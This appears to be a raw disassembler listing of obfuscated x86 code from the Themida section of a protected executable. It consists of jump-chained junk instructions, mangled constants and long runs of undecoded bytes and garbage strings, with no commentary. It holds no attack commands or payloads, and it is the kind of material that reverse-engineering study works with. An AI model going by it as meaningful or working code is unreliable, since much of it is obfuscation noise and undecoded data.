dd 2C815A04h, 9474F024h, 0B113E96Eh, 0E983FFFFh, 240C8704h
dd 0FFB21FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53A9B9: ; CODE XREF: Themida_:00541D8Cj
shr ecx, 7
or ecx, 77174DAEh
jmp loc_53E1D9
; ---------------------------------------------------------------------------
loc_53A9C7: ; CODE XREF: Themida_:00537C62j
xor esi, 0B7B1F305h
mov edi, esi
mov esi, [esp]
add esp, 4
jmp loc_53CD2F
; ---------------------------------------------------------------------------
dw 0C768h
dd 0E900003Bh, 709h, 0C788D0F6h, 0F8865866h, 47E9C786h
db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53A9F3: ; CODE XREF: Themida_:00539A57j
push ebx
push 628C6446h
pop ebx
sub ebx, 0CED9F5D9h
mov ebp, ebx
pop ebx
sub ebp, 71FC024Dh
sub ebp, eax
add ebp, 71FC024Dh
pop eax
not ebp
inc ebp
or ebp, 292D5969h
xor ebp, 38340584h
not ebp
sub ebp, 69470E4Eh
sub ecx, ebp
jmp loc_537C72
; ---------------------------------------------------------------------------
loc_53AA30: ; CODE XREF: Themida_:0053F5B3j
xor eax, ebx
jmp loc_54236E
; ---------------------------------------------------------------------------
aFqESP db 'fQ±¥(ÎéµP',0
align 2
dw 74FFh
dd 9BE90424h, 1FFFFDBh, 26402DD8h, 0B6830EBh, 8900007Ch
dd 0EEE92434h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53AA5F: ; CODE XREF: Themida_:0053F2E6j
xor esi, 2B3E2557h
mov ebp, esi
jmp loc_5388F4
; ---------------------------------------------------------------------------
dd 67EBBF57h, 0FB014A11h, 27C9E9h, 4C28100h, 83000000h
dd 148704EAh, 4895C24h, 0A9E95324h, 59000008h, 0FFFC26E9h
dd 0E8E95DFFh, 66000014h, 0E924048Bh, 4506h, 24048B66h
dd 4EC81h, 0BE90000h, 1FFFFF5h, 5E042474h, 0D924E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53AABE: ; CODE XREF: Themida_:0053ED46j
mov [esp], edi
push 7597h
mov [esp], ebx
jmp loc_537B15
; ---------------------------------------------------------------------------
loc_53AACE: ; CODE XREF: Themida_:0053C021j
push edi
sub esp, 4
mov [esp], edx
mov edx, 4
mov edi, edx
pop edx
add eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
push 7E1Ah
mov [esp], esi
push ebp
mov ebp, 3D7153B7h
add [esp+4], ebp
jmp loc_5377CC
; ---------------------------------------------------------------------------
dd 53240489h, 90B0C2B3h, 23F5E9h, 81585C00h, 2C3h, 241C3300h
dd 33241C31h, 0A4E9241Ch, 0FF000010h, 505A2434h, 0B9E9E089h
dd 100004Bh, 240C8BCBh, 607CE9h, 4B900h, 52E90000h, 89000014h
dd 6852242Ch, 72C011A1h, 74C2815Ah, 8173F542h, 0B55413EAh
dd 5AD589E6h, 0E95DEF01h, 3184h, 83243C8Bh, 79B904C4h
dd 1DC9DE3h, 0B422E9D9h, 3924FFFFh, 0FFDEDFE9h, 24248BFFh
dd 0E92434FFh, 0FFFFDF10h, 0E9E78957h, 1570h, 0BA241489h
dd 53C317CEh, 0C317D0B8h, 0D8B4E953h, 0E981FFFFh, 796B2D63h
dd 6FBD555Fh, 8114D503h, 0D5036DEDh, 8BE90114h, 0C483242Ch
dd 240C8704h, 6624248Bh, 8324048Bh, 1C8904ECh, 81E38924h
dd 4C3h, 4EB8300h, 0E9241C87h, 6C7Dh, 5166D800h, 0E904EC83h
dd 42DBh, 8324148Bh, 0E95304C4h, 0FFFFE47Ah, 0E92C77FFh
dd 0FFFFAEC1h
; ---------------------------------------------------------------------------
loc_53AC00: ; CODE XREF: Themida_:0053DD0Fj
add edx, 4
xchg edx, [esp]
pop esp
sub [edi+24h], eax
pop eax
loc_53AC0B: ; CODE XREF: Themida_:00541CFFj
push edx
push 5A7Dh
mov [esp], ebx
push 769h
mov [esp], esi
push eax
mov eax, 628E21F9h
mov esi, eax
jmp loc_54046B
; ---------------------------------------------------------------------------
db 5Fh, 87h, 1Ch
dd 8B665C24h, 33E92404h, 66000017h, 0E9240C8Bh, 0FFFFAF7Ch
; ---------------------------------------------------------------------------
loc_53AC40: ; CODE XREF: Themida_:0053B284j
xor esi, [esp]
jmp loc_541F8F
; ---------------------------------------------------------------------------
dd 24048B66h, 8904EC83h, 0EC812404h, 4, 0E9242489h, 6649h
dd 4B24BB53h, 0D829547Dh, 83241C8Bh, 0D02904C4h, 7D4B2405h
dd 0FF72E954h, 5351FFFFh, 0DD88C388h, 59EE885Bh, 4885E9h
db 0
; ---------------------------------------------------------------------------
loc_53AC89: ; CODE XREF: Themida_:0053F4CBj
push 7205h
mov [esp], esi
jmp loc_53E320
; ---------------------------------------------------------------------------
dw 0F580h
a9s@ db '9é',1Bh,'@',0
align 2
dw 0C181h
dd 6C3E4996h, 0E981D901h, 6C3E4996h, 663CC181h, 0C181216Ch
dd 3EF44212h, 0E9241C8Bh, 0FFFFC087h, 117E781h, 0E97C07h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53ACCB: ; CODE XREF: Themida_:00539EDDj
pop ecx
push 54B1h
mov [esp], edi
mov edi, 1C5E6BEAh
xor eax, edi
mov edi, [esp]
sub esp, 4
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
sub esp, 4
mov [esp], ecx
jmp loc_53C205
; ---------------------------------------------------------------------------
dd 7589F181h, 0CF01787Dh, 0B9515A59h, 40254A29h, 0E906E1C1h
dd 5F5Fh
; ---------------------------------------------------------------------------
loc_53AD18: ; CODE XREF: Themida_:00537C0Fj
add esp, 4
pop dword ptr [esp]
jmp loc_53DD14
; ---------------------------------------------------------------------------
loc_53AD26: ; CODE XREF: Themida_:0053B246j
mov eax, 5E307715h
and ebx, eax
pop eax
jmp loc_53FC75
; ---------------------------------------------------------------------------
db 5Ah
dd 5E08950h, 4, 405h, 0F0E95000h, 81000073h, 0E25108E9h
dd 81D1015Fh, 0E25108C1h, 0F2685A5Fh, 8900002Fh, 0FDE92434h
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53AD63: ; CODE XREF: Themida_:0053FE55j
pop esp
mov [esp], esi
push esp
jmp loc_53DA5D
; ---------------------------------------------------------------------------
db 1, 0D5h, 81h
dd 147154C5h, 24148B1Ah, 0E904C483h, 43A6h, 7333E959h
dd 0AD2C0000h, 0BCE9C300h, 81000024h, 560ADFC1h, 52E90178h
dd 0F855A8BAh, 1BF28137h, 0E9460B16h, 4E0Fh
; ---------------------------------------------------------------------------
loc_53ADA8: ; CODE XREF: Themida_:0053842Aj
sub eax, ebp
mov ebp, [esp]
add esp, 4
sub ecx, eax
mov eax, [esp]
add esp, 4
and eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_53C571
; ---------------------------------------------------------------------------
dd 875AD601h, 8F5C2434h, 248B2404h, 24040924h, 0C49CE99Ch
dd 0A0DFFFFh, 0E945F44Dh, 701Bh, 0A7368h, 241C8900h, 0EC815B54h
dd 4, 0B8240489h, 4, 2D46EB81h, 0E0E9068Dh, 66FFFFC9h
dd 0E9240489h, 0FFFFACADh
; ---------------------------------------------------------------------------
loc_53AE14: ; CODE XREF: Themida_:0053E548j
add ebp, 4
sub ebp, 2
jmp loc_539348
; ---------------------------------------------------------------------------
loc_53AE25: ; CODE XREF: Themida_:0053F034j
mov ecx, 4C040D61h
sub esp, 4
mov [esp], ecx
xchg edi, [esp]
jmp loc_540A14
; ---------------------------------------------------------------------------
aRh@ESg db 'Rh@-e~ég*',0
align 2
dw 0E952h
dd 0FFFFC787h
; ---------------------------------------------------------------------------
loc_53AE4C: ; CODE XREF: Themida_:00535DB8j
dec eax
shl eax, 8
sub eax, 1A475DFCh
add esi, eax
pop eax
xor esi, [esp]
xor [esp], esi
jmp loc_537BFC
; ---------------------------------------------------------------------------
loc_53AE63: ; CODE XREF: Themida_:0053BFACj
add ecx, 4
xchg ecx, [esp]
pop esp
push 7985h
mov [esp], esi
jmp loc_53CBA4
; ---------------------------------------------------------------------------
loc_53AE77: ; CODE XREF: Themida_:0053E2E3j
push 4D3Ch
mov [esp], edi
jmp loc_53DB5F
; ---------------------------------------------------------------------------
loc_53AE84: ; CODE XREF: Themida_:0053BD32j
inc edx
sub edx, 5902501h
mov ebx, edx
pop edx
push ebp
mov ebp, ebx
mov esi, ebp
pop ebp
pop ebx
jmp loc_53F0ED
; ---------------------------------------------------------------------------
aItxysdk db 'ˆâXYé¤k',0
dw 8900h
dd 0F9B9240Ch, 2968B479h, 78E959C8h, 66FFFFC5h, 53240C8Bh
dd 24E7E9h
db 0
; ---------------------------------------------------------------------------
loc_53AEBD: ; CODE XREF: Themida_:0053C517j
not edx
xchg edx, ecx
shr ecx, 4
jmp loc_5373DD
; ---------------------------------------------------------------------------
align 2
dw 5BFEh
dd 8B66F300h, 0C4832414h, 0C400E902h, 0CE31FFFFh, 0E9F08959h
dd 0FFFFD627h
; ---------------------------------------------------------------------------
loc_53AEE4: ; CODE XREF: Themida_:00538B60j
mov [esp], ebp
push 3D7153B7h
mov ebp, [esp]
add esp, 4
push ebp
pop ecx
pop ebp
add edi, 2153319Ah
jmp loc_541D63
; ---------------------------------------------------------------------------
db 29h
dd 0C3015AD3h, 6C1E6852h, 0E95A2EBEh, 6D96h, 0E904C483h
dd 0FFFFDF02h, 0E924248Bh, 0FFFFAB9Dh, 703E68BAh, 66F2817Bh
dd 4A3F5F2Fh, 0EEF7C281h, 0D189BBD0h, 0E9CA015Ah, 3E7Fh
dd 4C481h, 0D8310000h, 1063E95Bh, 0F7660000h, 58662414h
dd 2E8C166h, 66D0F766h, 0E99CFF05h, 1C7Fh, 1C27CF81h, 514F0B38h
dd 0E25D9CB9h, 9CC9815Ch, 0D12E0701h, 0D1F741E1h, 0FFC736E9h
dd 240489FFh, 4055854h, 83000000h, 148904ECh, 2BA24h, 0D0010000h
dd 7B8C685Ah, 4890000h, 2474FF24h, 2434FF04h, 4C48158h
dd 8F000000h, 665C2404h, 52240C8Bh, 0C3685A54h, 0E900000Ah
dd 4C01h, 24048966h, 50512FB4h, 0C48068B4h, 5B06E9FFh
dd 1CF70000h, 0E2E99C24h, 0BBFFFFAAh, 6AEC5A8Dh, 25DFEB81h
dd 0E3D11F53h, 66FDEB81h, 0F7431F8Dh, 0EE04E9DBh, 2859FFFFh
dd 0AD0AE9C3h, 0CEFEFFFFh, 3A8C68h, 24048900h, 0D02AB252h
dd 0F6DAF6E2h, 0E035E9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53B01A: ; CODE XREF: Themida_:0053C3EBj
sub esp, 2
mov [esp], bx
jmp loc_53D2B7
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 4B9h, 8BCA2900h, 0C481240Ch, 4, 5C241487h, 0FFC5D1E9h
dd 0D0E9D0FFh, 0B75366E1h, 66F92871h, 8BC8205Bh, 0C483240Ch
dd 479C6804h, 1C890000h, 4EC8324h, 81242489h, 42404h, 0EDE90000h
dd 6600005Fh, 83240C8Bh, 2C8904ECh, 57E58924h, 4EC81h
dd 2C890000h, 44206824h, 4D5D51BFh, 5302EDC1h, 2992E9h
dd 8BE95F00h
db 2Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B09F: ; CODE XREF: Themida_:005374D5j
mov esi, 21DE77CEh
add esi, 58A0C0F8h
push ebp
mov ebp, 1AA6118Dh
add ebp, 697E1CA1h
jmp loc_53B9E6
; ---------------------------------------------------------------------------
db 0BDh
dd 2, 2C8BEE01h, 4C48324h, 5C243487h, 24048B66h, 4EC81h
dd 0C890000h, 31E7E924h, 0DE300000h, 3AEFE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B0E6: ; CODE XREF: Themida_:0053B894j
add esi, eax
jmp loc_53C011
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 8904EC83h, 4BF243Ch, 89000000h, 3C68E9FDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B102: ; CODE XREF: Themida_:00537F19j
mov ebp, 68CA2BEEh
jmp loc_53DD35
; ---------------------------------------------------------------------------
dd 4C38159h, 87000000h, 875C241Ch, 248B2434h, 0F9F76624h
dd 56366866h, 24148966h, 6ABDE9h, 5AD00100h, 0FA458D05h
dd 2DF82910h, 10FA458Dh, 4A34A92Dh, 3ABC0523h, 34FF753Bh
dd 0C4835F24h, 0B72CE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53B152: ; CODE XREF: Themida_:0053E4FFj
push edi
jmp loc_540BA4
; ---------------------------------------------------------------------------
aSsA db 'Sé',9,'a',0
align 2
loc_53B15E: ; CODE XREF: Themida_:0053DCDCj
mov [esp], edx
mov edx, 4
jmp loc_54116F
; ---------------------------------------------------------------------------
db 1
dd 315A5EF5h, 55575DE8h, 0B257A7BDh, 8B5F5506h, 0C483242Ch
dd 5CBA5204h, 0E939BE34h, 0FFFFD339h
; ---------------------------------------------------------------------------
loc_53B18C: ; CODE XREF: Themida_:0053E41Bj
sub dword ptr [esp+4], 7C2E1BCFh
pop ebx
push dword ptr [esp]
jmp loc_541D32
; ---------------------------------------------------------------------------
loc_53B19D: ; CODE XREF: Themida_:00538127j
push ecx
mov ecx, 6AC82ABAh
or ebx, ecx
pop ecx
shr ebx, 1
jmp loc_5403B2
; ---------------------------------------------------------------------------
db 0C1h, 0EBh, 8
dd 0F381DBF7h, 0FF0069E3h, 575BDA01h, 0C781E789h, 4, 4EF81h
dd 0FF570000h, 0E9042474h, 3CD0h, 1623E956h, 0CB010000h
dd 0FFFF2BE9h, 3AED81FFh, 19E7272h, 0B23DE9EBh, 8B66FFFFh
dd 0E950240Ch, 0FFFFAC86h
; ---------------------------------------------------------------------------
loc_53B1F8: ; CODE XREF: Themida_:0053ED2Dj
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
sub esp, 4
mov [esp], esi
push 4
pop esi
add edi, esi
pop esi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push ecx
jmp loc_542041
; ---------------------------------------------------------------------------
dw 487h
dd 24248B24h, 0CA66E957h, 2489FFFFh, 0B29E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B23E: ; CODE XREF: Themida_:005373FBj
sub ebx, 747E1D20h
pop edi
push eax
jmp loc_53AD26
; ---------------------------------------------------------------------------
aISX db 'ˆÜéêX',0
align 2
aBi db 'ë¼',0
dw 404Ch
dd 0A7E9DF01h, 0FF00005Eh, 34FF2434h, 1CA8E924h, 34FF0000h
dd 319E924h, 815B0000h, 2C2h, 0E2895200h, 0FFD569E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53B281: ; CODE XREF: Themida_:0053E33Ej
xor [esp], esi
jmp loc_53AC40
; ---------------------------------------------------------------------------
db 5Ch, 89h, 4
dd 798B824h, 0C1092DADh, 0E924048Bh, 1336h
; ---------------------------------------------------------------------------
loc_53B29C: ; CODE XREF: Themida_:0053DDBCj
mov ebp, ebx
pop ebx
jmp loc_542230
; ---------------------------------------------------------------------------
dd 8246C29h, 0C1EDE95Dh, 4BDFFFFh, 1000000h, 60685DE9h
dd 8900000Ch, 0D0E9241Ch, 0FF00000Bh, 589D1C77h, 9C240419h
dd 0FFA7F0E9h, 48B66FFh, 0E2895224h, 0FFB389E9h, 66E830FFh
dd 5AAD6859h, 0C890000h, 76E95324h, 33000038h, 14312414h
dd 0CE5CE924h, 5156FFFFh, 0F1703BB9h, 0AADAE91Eh, 5A5DFFFFh
dd 0D587D2F7h, 0BF0F581h, 0EB01C253h, 623DE9h, 0BAE95000h
dd 5300003Eh, 996922BBh, 30B9E967h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B32A: ; CODE XREF: Themida_:00540DC7j
add ecx, 234722C8h
mov esi, [esp]
jmp loc_540615
; ---------------------------------------------------------------------------
dd 0F780B4B7h, 6FC78059h, 98E9F888h, 5F000047h, 39E9D031h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B34F: ; CODE XREF: Themida_:0053C506j
mov ebx, esp
jmp loc_53F25C
; ---------------------------------------------------------------------------
dw 0D328h
dd 2EC81h, 89660000h, 66E92404h, 8BFFFFEFh, 0C481240Ch
dd 4, 3E1DF181h, 0C5E97C2Fh
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B37B: ; CODE XREF: Themida_:00535B79j
push eax
mov eax, 4
add ebp, eax
jmp loc_539AA6
; ---------------------------------------------------------------------------
dd 3217F4BEh, 0E9B9514Ch, 813D1C7Bh, 797B7BF1h, 0D5BA523Dh
dd 0C1319A76h, 0C14206E2h, 0EA8102EAh, 36B907D0h, 1C68E281h
dd 0E4E9378Ch, 8F00004Ah, 0A703E902h, 0DA89FFFFh, 0FFE98CE9h
dd 241C87FFh, 73B9515Ch, 56286F29h, 316425BEh, 0A6EE816Fh
dd 0C1372876h, 0C68104E6h, 5DF56F09h, 0C681EED1h, 0C15F50Bh
dd 815EF109h, 7F39F3F1h, 0EFF5E97Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53B3FA: ; CODE XREF: Themida_:00541D41j
xor eax, 0D5A1E6E1h
mov edi, eax
pop eax
add ebx, 15893F94h
add ebx, edi
sub ebx, 15893F94h
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_535AC1
; ---------------------------------------------------------------------------
dd 2414F750h, 24B3E958h, 8B660000h, 8152240Ch, 4ECh, 24248900h
dd 6859E9h, 0D4EF8100h, 0E9277700h, 0FFFFE640h, 0C1E95B54h
dd 81000068h, 4C6h, 0BE40E900h, 0C8BFFFFh, 4C48324h, 0FFC0B60Fh
dd 56518734h, 17D0B951h, 34BE4B18h, 311A3C3Fh, 240C8BCEh
dd 8104C483h, 0E60074E6h, 0E953461Fh, 0FFFFECF2h, 0AB64E95Fh
dd 0BF57FFFFh, 3C307598h, 0F75FFA89h, 0DB3CE9DAh, 0EA81FFFFh
dd 785E6D13h, 0FFC347E9h, 1ECF81FFh, 81104951h, 8517A7C7h
dd 1C7831Ah, 8102EFC1h, 8465CBC7h, 0FA9E9EBh, 295F0000h
dd 0EC812404h, 4, 0E9241489h, 0FFFFFFB6h
; ---------------------------------------------------------------------------
loc_53B4E0: ; CODE XREF: Themida_:0053CA46j
mov [esp], esi
jmp loc_53657A
; ---------------------------------------------------------------------------
dd 0C181E189h, 4, 4E981h, 0C870000h, 61EAE924h, 0E95A0000h
dd 2A33h, 582434FFh, 0FFB317E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53B50D: ; CODE XREF: Themida_:00540DACj
add edi, ebx
add edi, 221839BCh
pop ebx
jmp loc_53F457
; ---------------------------------------------------------------------------
db 83h
dd 3C8704C7h, 0F5E7E924h, 2DADFFFFh, 17FE38AAh, 0C63E952h
dd 3CB90000h, 31648231h, 5904244Ch, 3CF3815Bh, 0E9648231h
dd 0FFFFC67Eh, 33240C31h, 55C240Ch, 4, 0A3368h, 242C8900h
dd 0F96206BDh, 80ED8155h, 0C10B5710h, 0B95102EDh, 5BE14543h
dd 0F181D1F7h, 33C02622h, 0DB8DC181h, 0ED81D47Ah, 536C2E6Eh
dd 4E9CD29h, 5B000001h, 0FFC2C3E9h, 2434FFFFh, 8324048Bh
dd 8CE904C4h, 0B9000040h, 48355190h, 98E18149h, 816FDC29h
dd 0EC266FE9h, 555DE913h, 0F74B0000h, 3357E9D3h, 8B660000h
dd 68562404h, 4FE9h, 81242489h, 42404h, 34FF0000h, 89525E24h
dd 91BD55E2h, 0C10DA94Ch, 0C58107EDh, 65B575FFh, 8108EDC1h
dd 262ED7F5h, 0E5C5811Eh, 1E1BC01h, 0C2835DEAh, 0BB9AE904h
dd 248BFFFFh, 4D36624h, 0B2E99C24h, 5AFFFFA4h, 0A5E9C831h
dd 0E9000032h, 0FFFFA4A5h, 81585450h, 4ECh, 243C8900h
dd 2DF2E953h, 0E9560000h, 0FFFFA6C6h, 80E5CD80h, 0DDE9A6F5h
dd 55000022h, 0FFB96BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53B645: ; CODE XREF: Themida_:0053A725j
push esi
mov esi, 57CE2DEDh
not esi
dec esi
jmp loc_537C5A
; ---------------------------------------------------------------------------
db 87h
dd 505C240Ch, 3C0AE6B8h, 24EB3556h, 5403B59h, 929AD1F6h
dd 0E958C701h, 7DAh, 19C568h, 24048900h, 8904EC83h, 0A7E9243Ch
dd 66FFFFCCh, 66C8B60Fh, 32E99C51h, 81FFFFA4h, 6C2E6EC5h
dd 0B0E5E953h, 34FFFFFFh, 2434FF24h, 0E65E959h, 72050000h
dd 35985B9Ch, 2877EFCh, 95D5F795h, 12Dh, 6E8C100h, 15864235h
dd 68FBE974h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B6C6: ; CODE XREF: Themida_:00535D63j
add esp, 2
pop ebx
add al, 8Eh
sub al, ch
sub al, 8Eh
jmp loc_53C586
; ---------------------------------------------------------------------------
loc_53B6D8: ; CODE XREF: Themida_:0053F0F0j
mov [esp], eax
mov eax, 24h
jmp loc_53C5E0
; ---------------------------------------------------------------------------
db 58h, 29h, 47h
dd 2434FF40h, 0E6895658h, 4C681h, 0B9510000h, 4, 8759CE01h
dd 0E95C2434h, 0FFFFFDFCh, 24048B66h, 515F5457h, 4B9h
dd 59CF0100h, 81E18951h, 4C1h, 71E95500h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53B727: ; CODE XREF: Themida_:00541FB6j
mov edi, 0FB95FA0Eh
sub edi, 66912C18h
add edi, ebp
add edi, 66912C18h
push dword ptr [esp]
jmp loc_54223D
; ---------------------------------------------------------------------------
dw 0C381h
dd 92595201h, 1C8BD831h, 4C48124h, 68000000h, 1F93h, 68240C89h
dd 42337640h, 81240C8Bh, 4C4h, 0FFCB0100h, 81592434h, 4C4h
dd 48B96800h, 0F8E90000h, 51000017h, 0DB4208B9h, 0BA52417Fh
dd 3432A3Fh, 295AD129h, 0F5EAE9C8h, 0E958FFFFh, 0FFFFD257h
dd 0D1B9514Eh, 31A54618h, 0BF5759CEh, 2D644929h, 0D2F7D787h
dd 0EF81D787h, 837EA2DBh, 15FF901h, 0FBE981F1h, 8B4F1D13h
dd 0C4812434h, 4, 0FFF35EE9h, 0C895CFFh, 2474FF24h, 240C8B04h
dd 0EF29E956h, 0C483FFFFh, 0C2815A04h, 4, 3304EA83h, 14312414h
dd 24143324h, 3351E9h, 0B6C38100h, 297A3F12h, 0D04CE9C3h
dd 0B2E9FFFFh, 1FFFFA2h, 0FF6658C3h, 0ECA8E930h, 835AFFFFh
dd 976804C4h, 89000071h, 5E92414h, 2800005Ch, 0EF7CE9F8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53B832: ; CODE XREF: Themida_:00539F8Dj
or eax, eax
jz loc_537795
push dword ptr [edi+28h]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
push ebp
jmp loc_53C448
; ---------------------------------------------------------------------------
loc_53B84A: ; CODE XREF: Themida_:0053D108j
pop edx
pop edx
add edi, ecx
add edi, 7BCC4139h
std
push 621Fh
mov [esp], esi
mov esi, 6E6078EFh
shr esi, 8
jmp loc_53C07F
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 8704C183h, 0D1E9240Ch, 0FFFFFFD1h, 669D1C77h, 4196658h
dd 36E99C24h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53B88B: ; CODE XREF: Themida_:00541F7Aj
mov [esp], eax
push 24h
pop eax
jmp loc_53B0E6
; ---------------------------------------------------------------------------
aRs db 'Ré}:',0
db 0
; ---------------------------------------------------------------------------
loc_53B89F: ; CODE XREF: Themida_:00539CD5j
push 4
pop esi
add ebp, esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
movzx ecx, al
push 0D51h
jmp loc_53C5CA
; ---------------------------------------------------------------------------
loc_53B8BB: ; CODE XREF: Themida_:0053DCC2j
pop ebx
add ebp, 0FFFFFFFFh
add ebp, 12BE04CDh
jmp loc_53D1E3
; ---------------------------------------------------------------------------
loc_53B8CD: ; CODE XREF: Themida_:0053CA80j
xor eax, edx
pop edx
push 591Ch
jmp loc_5384EA
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 0E9241C33h, 0FFFFE97Eh, 59CD3159h, 14FDB951h, 0FEE9588Ah
db 44h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B8F7: ; CODE XREF: Themida_:0053977Bj
push ebp
mov ebp, 16D97559h
shl ebp, 1
shl ebp, 2
add ebp, 49345539h
add [eax], ebp
pop ebp
jmp loc_53A282
; ---------------------------------------------------------------------------
dd 5A2434FFh, 5733E9h, 0B9515E00h, 4, 1F34EE81h, 0CE0146DDh
dd 1F34C681h, 525946DDh, 0C63B43BAh, 60BB5302h, 55039F4Bh
dd 5CDCE9h, 240C8900h, 5801E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53B94A: ; CODE XREF: Themida_:00539841j
mov eax, 37923D2Eh
sub eax, 0C27BF1F2h
add ebx, eax
pop eax
xor edx, eax
jmp loc_5388EF
; ---------------------------------------------------------------------------
dw 0F781h
dd 5C6805D3h, 2899E781h, 0BA520B02h, 50201E7Eh, 815AD721h
dd 2F5F27F7h, 0E7B8503Ah, 0E95D463Eh, 0FFFFBF96h
; ---------------------------------------------------------------------------
loc_53B984: ; CODE XREF: Themida_:005387A8j
pop edi
jmp loc_5415C5
; ---------------------------------------------------------------------------
dw 34FFh
dd 89525A24h, 0E95251E2h, 0FFFFF58Ch
; ---------------------------------------------------------------------------
loc_53B998: ; CODE XREF: Themida_:00537A5Bj
sub edx, eax
pop eax
mov ebp, edx
pop edx
and eax, ebp
push dword ptr [esp]
jmp loc_541B44
; ---------------------------------------------------------------------------
dd 90E9C601h, 88000006h, 0EC8359C8h, 563AE904h, 0CF810000h
dd 1C3E2D28h, 0FFF2FBE9h, 0F8315FFFh, 19AE9h, 1C33BA00h
dd 0D4E94E04h
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53B9D7: ; CODE XREF: Themida_:0053F196j
mov ebp, [esp]
add esp, 4
pop edx
jmp loc_53DE50
; ---------------------------------------------------------------------------
loc_53B9E6: ; CODE XREF: Themida_:0053B0B6j
sub ebp, 66D4751Ch
xor ebp, 496C77CDh
xor ebp, 35F5F8Ch
dec ebp
jmp loc_53EDB4
; ---------------------------------------------------------------------------
aUhB db 'UhÁB',0
align 4
dd 83242489h, 5D042404h, 4B951h, 0CD010000h, 5F70E959h
dd 68570000h, 24FF5463h, 5EFC15Fh, 0D5FDF781h, 0FE89081Ch
dd 81243C8Bh, 4C4h, 0A1C68100h, 21F6C4CCh, 34FF1C77h, 0CEE5E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53BA46: ; CODE XREF: Themida_:00540375j
add edx, 4
push esi
jmp loc_536FA6
; ---------------------------------------------------------------------------
dw 0C281h
dd 53CC74FDh, 34FF0288h, 0F2D1E924h, 0ED81FFFFh, 4, 556A68h
dd 242C8900h, 42474FFh, 24048F5Dh, 415CE9h, 3E98100h, 16FD47Bh
dd 0DDA8E9E9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53BA8A: ; CODE XREF: Themida_:005363D1j
sub esp, 4
mov [esp], edx
neg dword ptr [esp]
mov edx, [esp]
add esp, 4
not edx
not edx
jmp loc_53A172
; ---------------------------------------------------------------------------
dw 0DAF7h
dd 3731C281h, 51530FE7h, 104D21B9h, 59CB8910h, 161DE9h
dd 5B810400h, 0FFACB0E9h, 59F581FFh, 8955C8B2h, 0E3815DEBh
dd 4FE87B18h, 195E9h, 2474FF00h, 24048B04h, 0FFC526E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53BAE1: ; CODE XREF: Themida_:0053615Aj
xor esi, 1CD5480Bh
jmp loc_53DCE1
; ---------------------------------------------------------------------------
dd 0C00070BDh, 0BFC5816Dh, 81FAAF03h, 0FE2936EAh, 81EA297Ch
dd 0FE2936C2h, 242C8B7Ch, 0FFD84CE9h, 5EF029FFh, 140CE95Bh
dd 0C7010000h, 243C8758h, 4306E9h, 0FE95A00h
db 57h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53BB27: ; CODE XREF: Themida_:005402A4j
pop esp
and edi, 396B164Dh
jmp loc_5402DB
; ---------------------------------------------------------------------------
aSzd db '\é§D',0
db 0
; ---------------------------------------------------------------------------
loc_53BB39: ; CODE XREF: Themida_:00540494j
push dword ptr [esp]
pop edx
add esp, 4
push esi
jmp loc_53EA18
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 2706E9h, 4EC8100h, 89000000h, 38BE2434h, 8369667Fh
dd 3CE904ECh, 8BFFFFF3h, 0C483243Ch, 2EB8104h, 0E955143Bh
dd 0FFFFA04Ah, 0BDE9F029h, 89FFFFC3h, 0E9542404h, 1DE2h
dd 8324148Bh, 402D04C4h, 17BA4D1h, 365AE9C7h, 8B660000h
dd 89522414h, 4C281E2h, 81000000h, 2C2h, 0DF5EE900h, 34FFFFFFh
dd 24048B24h, 81595451h, 4C1h, 3CE95200h, 8B00001Fh, 0CFE2424h
dd 55E99C24h, 0C00004Dh, 2CE8D090h, 9BE952C1h, 89FFFFF0h
dd 0DAE9240Ch
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53BBE7: ; CODE XREF: Themida_:00541018j
push esp
pop edi
jmp loc_53DECE
; ---------------------------------------------------------------------------
loc_53BBEE: ; CODE XREF: Themida_:0053C5ECj
mov edx, 6DAD57DBh
or edx, 180A1F28h
